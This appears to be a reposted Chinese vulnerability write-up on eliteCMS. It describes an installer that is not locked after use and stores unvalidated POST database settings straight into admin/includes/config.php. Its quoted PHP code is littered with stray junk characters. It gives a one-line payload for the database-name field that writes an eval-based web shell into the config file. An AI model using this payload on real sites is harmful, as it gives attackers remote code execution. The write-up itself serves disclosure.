eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
* ]* J! C0 X1 O9 Z) c我们来看代码：

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elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
4 a; B& v" F, c0 d0 n* z; c    $write = "<?php\n";
    $write .= "/**\n";
# }9 q7 V' V$ Y9 k0 J    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
( S( _& `  c  ^- l9 H6 y    $write .= "*\n";
! Z" W. u( |: }/ |. {  ^+ k    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
- l( r* ~3 C5 N* b    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
& h) B( g5 C! [% ?: z: B3 V    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
$ i2 s4 N  @+ @. c. y% f' a    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
( j  H3 J0 n( \' {4 R! ^. S    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
8 z8 Y7 \( b: J, C4 W% X! t    $write .= "        \n";
    $write .= "} \n";
& h% Y( V& H2 f- C2 _3 S: D! z    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
9 x7 Q: j' v5 t% g$ I$ _% p  M    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
2 u" g9 ?5 N6 K% w2 b    $write .= "} \n";
    $write .= "?>\n";

; T- V. r1 O  }- I6 ~3 r5 E    $writer = fopen($file, 'w');
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6 k% s3 Y, ?* ^: v在看代码：

" E0 S' O0 k$ O( G& A, y$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
" L# Q. j$ a3 M" Z& A6 Q1 a: [0 S$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
9 ~. @* {/ n9 L3 d; X如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php
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